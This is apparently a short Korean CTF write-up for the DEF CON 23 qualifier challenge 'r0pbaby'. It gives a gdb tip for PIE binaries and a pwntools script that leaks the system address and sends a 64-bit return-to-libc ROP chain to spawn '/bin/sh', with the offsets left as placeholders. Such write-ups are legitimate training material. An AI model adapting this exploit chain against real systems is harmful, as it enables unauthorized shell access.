Defcon23 Quals r0pbaby

후기 : PIE가 걸린 프로그램에서의 디버깅 방법을 터득했다!

 set stop-on-solib-events 1

64비트 rtl을 할 수 있다! (다음 목표는 pwnable.kr unexploitable)

from pwn import *

s = remote('localhost',4000)

sh_offset = 'your offset'
pr = 'your offset'

print s.recvuntil(':')
s.sendline('2')
print s.recvuntil(':')
s.sendline('system')
system = int(s.recvuntil('\n').split('Symbol system: 0x')[1],16)
print "[*] system : " + hex(system)
s.recvuntil(':')

pay = 'A'*8
pay += p64(system - pr) # pop rdi, ret
pay += p64(system + sh_offset) # '/bin/sh'
pay += p64(system) # libc_system

s.sendline('3')
print s.recvuntil(':')
s.sendline(str(len(pay)))
s.sendline(pay)

s.interactive()